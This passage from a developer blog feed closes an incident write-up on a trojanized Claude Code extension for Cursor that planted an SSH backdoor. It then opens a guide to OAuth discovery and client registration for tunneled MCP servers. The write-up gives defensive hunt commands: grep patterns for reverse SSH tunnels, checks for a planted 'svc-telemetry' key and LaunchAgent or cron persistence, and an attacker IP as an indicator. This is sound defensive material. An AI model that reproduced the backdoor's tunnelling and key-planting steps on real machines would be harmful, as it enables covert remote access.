&lt;strong&gt;Use a version cooldown.&lt;/strong&gt; Microsoft points organizations using Cursor to &lt;a href="https://cursor.com/docs/enterprise/security-hardening" rel="noopener noreferrer"&gt;Cursor’s security-hardening guidance&lt;/a&gt;, which includes restricting extensions to approved publishers and configuring an installation cooldown that delays newly published versions. Because the tampered builds carried the legitimate extension ID, a publisher allowlist alone would not have stopped them. A cooldown or version pinning would have kept the 11-hour window from reaching you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check provenance.&lt;/strong&gt; Record which marketplace served each extension. The same identifier can be served by more than one registry, and in this incident the source was what separated affected machines from unaffected ones.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remove passwordless &lt;code&gt;sudo&lt;/code&gt;&lt;/strong&gt; from developer accounts where you can. On macOS, that was the condition under which the loader’s SSH-enabling step could succeed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alert on behavior.&lt;/strong&gt; An extension process that edits &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; or writes a LaunchAgent is worth an alert on its own.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A quick hunt checklist
&lt;/h2&gt;

&lt;p&gt;Run these on a sample of machines, or push them through your management tooling. Treat results as leads, not proof.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;macOS and Linux&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Reverse-forwarding ssh/autossh processes (catches bundled flags like -NR)&lt;/span&gt;
ps &lt;span class="nt"&gt;-eo&lt;/span&gt; pid,ppid,user,command | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'[a]utossh|[s]sh[[:space:]]+(.*[[:space:]])?-[A-Za-z]*R'&lt;/span&gt;

&lt;span class="c"&gt;# Established SSH connections with owning process (also lists inbound sessions)&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established &lt;span class="s1"&gt;'( dport = :22 )'&lt;/span&gt;    &lt;span class="c"&gt;# Linux (root shows all processes)&lt;/span&gt;
lsof &lt;span class="nt"&gt;-iTCP&lt;/span&gt;:22 &lt;span class="nt"&gt;-sTCP&lt;/span&gt;:ESTABLISHED &lt;span class="nt"&gt;-nP&lt;/span&gt;            &lt;span class="c"&gt;# macOS&lt;/span&gt;

&lt;span class="c"&gt;# Hidden temp keys and suspicious dot-files from this loader&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TMPDIR&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/tmp&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/.stk_&lt;span class="k"&gt;*&lt;/span&gt; ~/.config/.smt ~/.config/.smtk 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Keys and persistence&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'svc-telemetry'&lt;/span&gt; ~/.ssh/authorized_keys
crontab &lt;span class="nt"&gt;-l&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'@reboot'&lt;/span&gt;                          &lt;span class="c"&gt;# the cron path is the Linux branch&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; ~/Library/LaunchAgents | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'com.apple.sysmond'&lt;/span&gt;  &lt;span class="c"&gt;# macOS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-R&lt;/code&gt; pattern also matches any short option cluster containing a capital R (for example &lt;code&gt;-oRequestTTY&lt;/code&gt;), so expect some noise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows (PowerShell)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ssh/plink processes with remote-forward arguments&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-CimInstance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CommandLine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'(ssh|plink)(\.exe)?\s.*-[A-Za-z]*R'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ParentProcessId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CommandLine&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Look-alike scheduled task, fallback script, and temp key&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SysMon&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;APPDATA&lt;/span&gt;&lt;span class="s2"&gt;\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.stk_*'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Planted key (check both locations)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="bp"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;\.ssh\authorized_keys"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\ProgramData\ssh\administrators_authorized_keys"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'svc-telemetry'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fleet sweep for this specific incident.&lt;/strong&gt; Look for installed &lt;code&gt;anthropic.claude-code-2.1.312-*&lt;/code&gt; and &lt;code&gt;anthropic.claude-code-2.1.313-*&lt;/code&gt; extension folders, and search each &lt;code&gt;extension.js&lt;/code&gt; for &lt;code&gt;134.209.82.225&lt;/code&gt; or &lt;code&gt;svc-telemetry&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rlE&lt;/span&gt; &lt;span class="s1"&gt;'134\.209\.82\.225|svc-telemetry'&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;extension.js &lt;span class="se"&gt;\&lt;/span&gt;
  ~/.cursor/extensions/anthropic.claude-code-2.1.31[23]-&lt;span class="k"&gt;*&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finding the extension folder is not proof of compromise. Confirm the download source and window, then look for the key. If the &lt;code&gt;svc-telemetry&lt;/code&gt; key is present, Cursor says the machine is impacted. Preserve evidence first, then use &lt;a href="https://cursor.com/blog/claude-code-extension-security-notice" rel="noopener noreferrer"&gt;Cursor’s security notice&lt;/a&gt; as the authority for the remediation scripts. Remove the key, persistence and tunnel processes, decide whether to rebuild the host, and rotate credentials and sessions from a trusted system. The loader collected only the &lt;em&gt;names&lt;/em&gt; of environment variables, not their values. Cursor still warns that this does not rule out later credential access over the backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The lesson from the tampered Claude Code builds is not that one marketplace failed. It is that the tunnel itself can be the payload: about 7 KB of code, a stock &lt;code&gt;ssh&lt;/code&gt; binary, and an outbound connection that most networks permit. The command line, the parent process, the destination and the persistence all give it away if you are collecting them.&lt;/p&gt;

&lt;p&gt;Build your detection around the three words that separate a tool from a threat. If a tunnel is named, authenticated and logged, allowlist it narrowly and let it run. If it is none of those, find out who owns it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://cursor.com/blog/claude-code-extension-security-notice" rel="noopener noreferrer"&gt;Cursor: Security notice on Anthropic.claude-code 2.1.312 and 2.1.313&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stepsecurity.io/blog/claude-code-extension-trojanized" rel="noopener noreferrer"&gt;StepSecurity: Trojanized Claude Code Extension Delivered Persistent SSH Backdoor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.microsoft.com/en-us/security/blog/2026/10/30/inside-malicious-claude-code-branded-cursor-extension-persistent-ssh-backdoor/" rel="noopener noreferrer"&gt;Microsoft Security Blog: Inside a malicious Claude Code-branded extension and its persistent SSH backdoor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://attack.mitre.org/detectionstrategies/DET0538/" rel="noopener noreferrer"&gt;MITRE ATT&amp;amp;CK: Detection Strategy DET0538 for Protocol Tunneling (T1572)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.elastic.co/guide/en/security/8.19/prebuilt-rule-8-19-29-potential-ssh-reverse-port-forwarding.html" rel="noopener noreferrer"&gt;Elastic: Potential SSH Reverse Port Forwarding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/FoxIO-LLC/ja4" rel="noopener noreferrer"&gt;FoxIO: JA4+ network fingerprinting (JA4SSH)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man.openbsd.org/sshd_config" rel="noopener noreferrer"&gt;OpenBSD manual: sshd_config&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://man.openbsd.org/sshd" rel="noopener noreferrer"&gt;OpenBSD manual: sshd&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/authentication/troubleshooting-ssh/using-ssh-over-the-https-port" rel="noopener noreferrer"&gt;GitHub Docs: Using SSH over the HTTPS port&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
    </item>
    <item>
      <title>MCP Auth Gets Real: What the 2026-07-28 Spec Means for Local MCP Servers Behind a Tunnel</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Sun, 01 Nov 2026 02:31:13 +0000</pubDate>
      <link>https://dev.to/instatunnel/mcp-auth-gets-real-what-the-2026-07-28-spec-means-for-local-mcp-servers-behind-a-tunnel-2dg1</link>
      <guid>https://dev.to/instatunnel/mcp-auth-gets-real-what-the-2026-07-28-spec-means-for-local-mcp-servers-behind-a-tunnel-2dg1</guid>
      <description>&lt;p&gt;Authentication is the part of MCP that tends to get postponed. A May 2026 measurement study put it plainly: many remote servers treat it as a deployment add-on rather than a security boundary. The 2026-07-28 revision of the Model Context Protocol specification tightens the rules for any server that does use authorization. It keeps OAuth 2.1 resource-server behavior, pins down how a client discovers your authorization server, formally deprecates Dynamic Client Registration (DCR), and makes Client ID Metadata Documents (CIMD) the recommended way for an app to identify itself.&lt;/p&gt;

&lt;p&gt;That matters even when your MCP server runs on a laptop. Hosted clients such as claude.ai and ChatGPT connect from the vendor’s cloud, so a local server needs a tunnel before they can reach it. Once you add one, you have a remote MCP server in the eyes of the spec. Your public tunnel URL becomes your &lt;strong&gt;token audience&lt;/strong&gt;, the identifier every access token is bound to. The &lt;code&gt;/.well-known/oauth-protected-resource&lt;/code&gt; document has to resolve correctly &lt;em&gt;through&lt;/em&gt; the tunnel, or no compliant client will get past the first request.&lt;/p&gt;

&lt;p&gt;This guide stays on OAuth &lt;strong&gt;discovery&lt;/strong&gt; and &lt;strong&gt;client registration&lt;/strong&gt;. It covers what changed, what a tunnel must preserve, and how to verify the chain with &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What changed in the 2026-07-28 revision
&lt;/h2&gt;

&lt;p&gt;The maintainers locked the release candidate on May 21, 2026, and called it the largest revision of the protocol since launch. The final specification shipped on July 28, 2026. Most of the headline work is outside authorization: a stateless protocol core with no &lt;code&gt;initialize&lt;/code&gt; handshake or &lt;code&gt;Mcp-Session-Id&lt;/code&gt;, required &lt;code&gt;Mcp-Method&lt;/code&gt; and &lt;code&gt;Mcp-Name&lt;/code&gt; headers, and a formal extensions framework.&lt;/p&gt;

&lt;p&gt;Several things often credited to this revision are older. MCP servers have been OAuth resource servers since mid-2025. The 2025-11-25 revision added CIMD as a recommended registration mechanism, made the &lt;code&gt;WWW-Authenticate&lt;/code&gt; header optional with a well-known fallback, and added OpenID Connect discovery. Scalekit’s summary is that the server-side rules have held steady and what moved was client registration and discovery.&lt;/p&gt;

&lt;p&gt;What 2026-07-28 itself adds on the authorization side:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DCR (RFC 7591) is deprecated.&lt;/strong&gt; It stays available for authorization servers that lack CIMD support.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issuer validation (RFC 9207).&lt;/strong&gt; Authorization servers should return an &lt;code&gt;iss&lt;/code&gt; parameter in authorization responses. Clients must compare a present &lt;code&gt;iss&lt;/code&gt; to the issuer they recorded before redeeming the code. If the server advertises &lt;code&gt;authorization_response_iss_parameter_supported: true&lt;/code&gt; and the response has no &lt;code&gt;iss&lt;/code&gt;, the client must reject it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credentials are bound to their issuer.&lt;/strong&gt; Clients must key persisted credentials by the authorization server’s issuer. They must not reuse them with another server and must re-register if it changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;application_type&lt;/code&gt; is required for DCR.&lt;/strong&gt; Clients that still register dynamically must send an appropriate value.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Step-up scope rules.&lt;/strong&gt; Servers should list every scope an operation needs in a single challenge. Clients should request the union of previously granted and newly challenged scopes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A refresh-token section.&lt;/strong&gt; Clients must keep refresh tokens confidential and must not assume one will be issued.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A formal feature lifecycle policy.&lt;/strong&gt; It sets a minimum twelve-month window for deprecated features.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Carried forward and still binding: servers must implement Protected Resource Metadata (RFC 9728) and clients must use it for discovery. Clients must send the RFC 8707 &lt;code&gt;resource&lt;/code&gt; parameter on both the authorization and token requests, whether or not the authorization server advertises support. Servers must accept only tokens issued for themselves, and must not pass the client’s token through to an upstream API.&lt;/p&gt;

&lt;p&gt;One caveat belongs up front: authorization itself is still &lt;strong&gt;optional&lt;/strong&gt; in the spec. HTTP-based transports &lt;em&gt;should&lt;/em&gt; conform to it. STDIO servers should not use it and should take credentials from the environment instead. A stdio server on your machine needs no OAuth flow. A tunneled server that you want hosted clients to connect to almost certainly does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovery: how a client finds your authorization server
&lt;/h2&gt;

&lt;p&gt;A compliant client starts with nothing but your server URL. Everything else comes from a fixed discovery sequence, and every step that touches your server travels through your tunnel.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The 401 challenge
&lt;/h3&gt;

&lt;p&gt;The client sends an unauthenticated request. Your server answers &lt;code&gt;401 Unauthorized&lt;/code&gt; with a &lt;code&gt;WWW-Authenticate&lt;/code&gt; header that points to its metadata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt; &lt;span class="ne"&gt;Unauthorized&lt;/span&gt;
&lt;span class="na"&gt;WWW-Authenticate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Bearer resource_metadata="https://mcp-dev.example.com/.well-known/oauth-protected-resource/mcp",&lt;/span&gt;
&lt;span class="s"&gt;                         scope="files:read"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;scope&lt;/code&gt; parameter is a SHOULD, but worth including because it tells the client exactly what to request. If you omit it, clients fall back to &lt;code&gt;scopes_supported&lt;/code&gt; from your metadata. Clients must use the &lt;code&gt;resource_metadata&lt;/code&gt; URL when the header is present. When it is absent, they must try well-known locations in order: the path-suffixed form (&lt;code&gt;/.well-known/oauth-protected-resource/mcp&lt;/code&gt;) first, then the root (&lt;code&gt;/.well-known/oauth-protected-resource&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Claude is stricter than the spec here. It needs a real &lt;code&gt;401&lt;/code&gt; to start sign-in and ignores a &lt;code&gt;WWW-Authenticate&lt;/code&gt; header on a &lt;code&gt;200&lt;/code&gt; response. Claude’s documentation also notes that the &lt;code&gt;resource_metadata&lt;/code&gt; URL doesn’t have to sit on your MCP server’s origin. That helps when a tunnel or edge platform only routes a path prefix and can’t serve &lt;code&gt;/.well-known/*&lt;/code&gt; at the root.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Protected resource metadata
&lt;/h3&gt;

&lt;p&gt;The document the client fetches (RFC 9728) must list at least one authorization server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://mcp-dev.example.com/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"authorization_servers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"https://auth.example.com"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"scopes_supported"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"files:read"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"bearer_methods_supported"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"header"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;resource&lt;/code&gt; field. It must identify your server by the same public URL the client used to reach it. Claude’s documentation says it must equal the URL exactly as the user enters it, including any path. This is the first place a tunnel can quietly break things. Your framework may build the value from the request host it sees locally (&lt;code&gt;localhost:3000&lt;/code&gt;) rather than the public hostname.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Authorization server metadata
&lt;/h3&gt;

&lt;p&gt;Next, the client fetches the authorization server’s own metadata. For an issuer with a path component such as &lt;code&gt;https://auth.example.com/tenant1&lt;/code&gt;, it tries three URLs in order. They are the RFC 8414 form (&lt;code&gt;/.well-known/oauth-authorization-server/tenant1&lt;/code&gt;), then two OpenID Connect discovery variants. For an issuer with no path, it tries the RFC 8414 URL and then the OpenID Connect one. The &lt;code&gt;issuer&lt;/code&gt; in the returned document must be identical to the issuer used to build the URL, or the client must not use the metadata.&lt;/p&gt;

&lt;p&gt;Two details matter. The client records that issuer so it can validate &lt;code&gt;iss&lt;/code&gt; later. If &lt;code&gt;code_challenge_methods_supported&lt;/code&gt; is missing, the client must refuse to proceed, because it cannot confirm PKCE support. The client then uses the &lt;code&gt;S256&lt;/code&gt; challenge method when it can. The authorization server is usually a separate service, so your tunnel normally only needs to front the resource server. If you do tunnel the authorization server too, the same discovery rules apply to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your tunnel URL is now your token audience
&lt;/h2&gt;

&lt;p&gt;Here is the core shift for local development. Under 2026-07-28, an MCP server must validate that an access token was issued specifically for it, and must reject tokens that don’t name it as the audience. The client binds a token to a server by sending the &lt;code&gt;resource&lt;/code&gt; parameter, which must be the server’s canonical URI.&lt;/p&gt;

&lt;p&gt;The spec’s canonical URI rules are strict. &lt;code&gt;https://mcp.example.com&lt;/code&gt;, &lt;code&gt;https://mcp.example.com/mcp&lt;/code&gt;, and &lt;code&gt;https://mcp.example.com:8443&lt;/code&gt; are valid. A bare hostname with no scheme is invalid, and so is any URI with a fragment. The spec prefers the form without a trailing slash.&lt;/p&gt;

&lt;p&gt;Now consider a throwaway tunnel URL. A client completes OAuth and the token’s audience is that URL. You restart the tunnel and the hostname changes. Every issued token is now bound to an address that no longer maps to your server, and you re-authorize on every restart.&lt;/p&gt;

&lt;p&gt;Whether your hostname survives a restart depends on the tunnel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare:&lt;/strong&gt; quick tunnels get a random &lt;code&gt;trycloudflare.com&lt;/code&gt; hostname per &lt;code&gt;cloudflared&lt;/code&gt; process, and the URL changes on restart. Named tunnels bind a hostname you choose on a zone you control, and Cloudflare recommends them for anything like OAuth callbacks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ngrok:&lt;/strong&gt; the free plan includes one automatically assigned dev domain. Check your plan’s terms on whether it persists. Custom domains are a paid feature.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;InstaTunnel:&lt;/strong&gt; the CLI accepts a &lt;code&gt;--subdomain&lt;/code&gt; flag and has an &lt;code&gt;--mcp&lt;/code&gt; mode for MCP servers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Treat a reserved hostname like a production domain: pick it once, put it in your authorization server’s resource configuration, and keep it. There is one more reason to prefer a domain you control. Claude’s documentation notes that Microsoft Entra ID accepts an MCP server URL as an Application ID URI only on a domain your tenant has verified. A shared tunnel hostname you cannot verify is likely to hit the same wall.&lt;/p&gt;

&lt;h2&gt;
  
  
  Registration: CIMD replaces DCR
&lt;/h2&gt;

&lt;p&gt;Once the client knows where to authenticate, it needs a &lt;code&gt;client_id&lt;/code&gt;. The spec’s order of preference for clients that support every option is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Pre-registered client credentials, if the client already has them for this authorization server&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Client ID Metadata Documents&lt;/strong&gt;, if the server advertises &lt;code&gt;client_id_metadata_document_supported&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Dynamic Client Registration, if the server exposes a &lt;code&gt;registration_endpoint&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Prompting the user to enter client details manually&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  How CIMD works
&lt;/h3&gt;

&lt;p&gt;With CIMD, the &lt;code&gt;client_id&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; an HTTPS URL. The authorization server fetches the JSON document at that URL, validates it, and caches it according to HTTP cache headers. The requirements are tight:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The URL must use &lt;code&gt;https&lt;/code&gt; and contain a path component.&lt;/li&gt;
&lt;li&gt;The document must include &lt;code&gt;client_id&lt;/code&gt;, &lt;code&gt;client_name&lt;/code&gt;, and &lt;code&gt;redirect_uris&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;client_id&lt;/code&gt; inside the document must match the URL exactly.&lt;/li&gt;
&lt;li&gt;The authorization server must validate the redirect URI in each request against the document and clearly display the redirect URI’s hostname during consent.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
